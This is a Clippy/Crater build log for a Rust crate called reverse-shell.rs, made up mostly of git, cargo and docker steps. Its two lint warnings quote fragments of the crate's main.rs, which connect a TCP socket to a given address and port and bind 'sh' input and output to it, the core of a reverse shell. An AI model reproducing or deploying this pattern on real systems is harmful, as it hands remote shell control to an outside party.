[INFO] updating cached repository TheStilbruch/reverse-shell.rs
[INFO] running `"git" "fetch" "--all"`
[INFO] [stdout] Fetching origin
[INFO] [stderr] From git://github.com/TheStilbruch/reverse-shell.rs
[INFO] [stderr]  * branch            HEAD       -> FETCH_HEAD
[INFO] running `"git" "clone" "work/cache/sources/gh/TheStilbruch/reverse-shell.rs" "work/ex/clippy-test-run/sources/stable/gh/TheStilbruch/reverse-shell.rs"`
[INFO] [stderr] Cloning into 'work/ex/clippy-test-run/sources/stable/gh/TheStilbruch/reverse-shell.rs'...
[INFO] [stderr] done.
[INFO] running `"git" "clone" "work/cache/sources/gh/TheStilbruch/reverse-shell.rs" "work/ex/clippy-test-run/sources/stable+rustflags=-Dclippy%3A%3Ainto_iter_on_array/gh/TheStilbruch/reverse-shell.rs"`
[INFO] [stderr] Cloning into 'work/ex/clippy-test-run/sources/stable+rustflags=-Dclippy%3A%3Ainto_iter_on_array/gh/TheStilbruch/reverse-shell.rs'...
[INFO] [stderr] done.
[INFO] running `"git" "rev-parse" "HEAD"`
[INFO] [stdout] dc441f997ef52a6973174b2d4bd834982f63a2e4
[INFO] sha for GitHub repo TheStilbruch/reverse-shell.rs: dc441f997ef52a6973174b2d4bd834982f63a2e4
[INFO] validating manifest of TheStilbruch/reverse-shell.rs on toolchain stable
[INFO] running `"/mnt/big/crater/work/local/cargo-home/bin/cargo" "+stable" "read-manifest" "--manifest-path" "Cargo.toml"`
[INFO] validating manifest of TheStilbruch/reverse-shell.rs on toolchain stable+rustflags=-Dclippy::into_iter_on_array
[INFO] running `"/mnt/big/crater/work/local/cargo-home/bin/cargo" "+stable" "read-manifest" "--manifest-path" "Cargo.toml"`
[INFO] started frobbing TheStilbruch/reverse-shell.rs
[INFO] finished frobbing TheStilbruch/reverse-shell.rs
[INFO] frobbed toml for TheStilbruch/reverse-shell.rs written to work/ex/clippy-test-run/sources/stable/gh/TheStilbruch/reverse-shell.rs/Cargo.toml
[INFO] started frobbing TheStilbruch/reverse-shell.rs
[INFO] finished frobbing TheStilbruch/reverse-shell.rs
[INFO] frobbed toml for TheStilbruch/reverse-shell.rs written to work/ex/clippy-test-run/sources/stable+rustflags=-Dclippy%3A%3Ainto_iter_on_array/gh/TheStilbruch/reverse-shell.rs/Cargo.toml
[INFO] crate TheStilbruch/reverse-shell.rs has a lockfile. skipping
[INFO] running `"/mnt/big/crater/work/local/cargo-home/bin/cargo" "+stable" "fetch" "--locked" "--manifest-path" "Cargo.toml"`
[INFO] running `"/mnt/big/crater/work/local/cargo-home/bin/cargo" "+stable" "fetch" "--locked" "--manifest-path" "Cargo.toml"`
[INFO] linting TheStilbruch/reverse-shell.rs against stable for clippy-test-run
[INFO] running `"docker" "create" "-v" "/mnt/big/crater/work/local/target-dirs/clippy-test-run/worker-4/stable:/opt/crater/target:rw,Z" "-v" "/mnt/big/crater/work/ex/clippy-test-run/sources/stable/gh/TheStilbruch/reverse-shell.rs:/opt/crater/workdir:ro,Z" "-v" "/mnt/big/crater/work/local/cargo-home:/opt/crater/cargo-home:ro,Z" "-v" "/mnt/big/crater/work/local/rustup-home:/opt/crater/rustup-home:ro,Z" "-e" "USER_ID=1000" "-e" "SOURCE_DIR=/opt/crater/workdir" "-e" "MAP_USER_ID=1000" "-e" "CARGO_TARGET_DIR=/opt/crater/target" "-e" "CARGO_INCREMENTAL=0" "-e" "RUST_BACKTRACE=full" "-e" "RUSTFLAGS=--cap-lints=forbid" "-e" "CARGO_HOME=/opt/crater/cargo-home" "-e" "RUSTUP_HOME=/opt/crater/rustup-home" "-w" "/opt/crater/workdir" "-m" "1536M" "--network" "none" "rustops/crates-build-env" "/opt/crater/cargo-home/bin/cargo" "+stable" "clippy" "--frozen" "--all" "--all-targets"`
[INFO] [stdout] 3e184a0c602ec4bcaa0d66b37f587d91772aed1e3c2287b5c5ec13dd9937aa0b
[INFO] running `"docker" "start" "-a" "3e184a0c602ec4bcaa0d66b37f587d91772aed1e3c2287b5c5ec13dd9937aa0b"`
[INFO] [stderr]     Checking rust-reverse-shell v0.0.1 (/opt/crater/workdir)
[INFO] [stderr] warning: you seem to be trying to use match for destructuring a single pattern. Consider using `if let`
[INFO] [stderr]   --> src/main.rs:39:9
[INFO] [stderr]    |
[INFO] [stderr] 39 | /         match TcpStream::connect(format!("{}:{}", address, port)) {
[INFO] [stderr] 40 | |             Ok(stream) => unsafe {
[INFO] [stderr] 41 | |                 let _ = Command::new("sh")
[INFO] [stderr] 42 | |                     .stdin(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] ...  |
[INFO] [stderr] 48 | |             Err(_) => {}
[INFO] [stderr] 49 | |         };
[INFO] [stderr]    | |_________^
[INFO] [stderr]    |
[INFO] [stderr]    = note: #[warn(clippy::single_match)] on by default
[INFO] [stderr]    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#single_match
[INFO] [stderr] help: try this
[INFO] [stderr]    |
[INFO] [stderr] 39 |         if let Ok(stream) = TcpStream::connect(format!("{}:{}", address, port)) unsafe {
[INFO] [stderr] 40 |     let _ = Command::new("sh")
[INFO] [stderr] 41 |         .stdin(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] 42 |         .stdout(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] 43 |         .stderr(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] 44 |         .status()
[INFO] [stderr]  ...
[INFO] [stderr] 
[INFO] [stderr] warning: you seem to be trying to use match for destructuring a single pattern. Consider using `if let`
[INFO] [stderr]   --> src/main.rs:39:9
[INFO] [stderr]    |
[INFO] [stderr] 39 | /         match TcpStream::connect(format!("{}:{}", address, port)) {
[INFO] [stderr] 40 | |             Ok(stream) => unsafe {
[INFO] [stderr] 41 | |                 let _ = Command::new("sh")
[INFO] [stderr] 42 | |                     .stdin(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] ...  |
[INFO] [stderr] 48 | |             Err(_) => {}
[INFO] [stderr] 49 | |         };
[INFO] [stderr]    | |_________^
[INFO] [stderr]    |
[INFO] [stderr]    = note: #[warn(clippy::single_match)] on by default
[INFO] [stderr]    = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#single_match
[INFO] [stderr] help: try this
[INFO] [stderr]    |
[INFO] [stderr] 39 |         if let Ok(stream) = TcpStream::connect(format!("{}:{}", address, port)) unsafe {
[INFO] [stderr] 40 |     let _ = Command::new("sh")
[INFO] [stderr] 41 |         .stdin(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] 42 |         .stdout(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] 43 |         .stderr(Stdio::from_raw_fd(stream.as_raw_fd()))
[INFO] [stderr] 44 |         .status()
[INFO] [stderr]  ...
[INFO] [stderr] 
[INFO] [stderr]     Finished dev [unoptimized + debuginfo] target(s) in 0.95s
[INFO] running `"docker" "inspect" "3e184a0c602ec4bcaa0d66b37f587d91772aed1e3c2287b5c5ec13dd9937aa0b"`
[INFO] running `"docker" "rm" "-f" "3e184a0c602ec4bcaa0d66b37f587d91772aed1e3c2287b5c5ec13dd9937aa0b"`
[INFO] [stdout] 3e184a0c602ec4bcaa0d66b37f587d91772aed1e3c2287b5c5ec13dd9937aa0b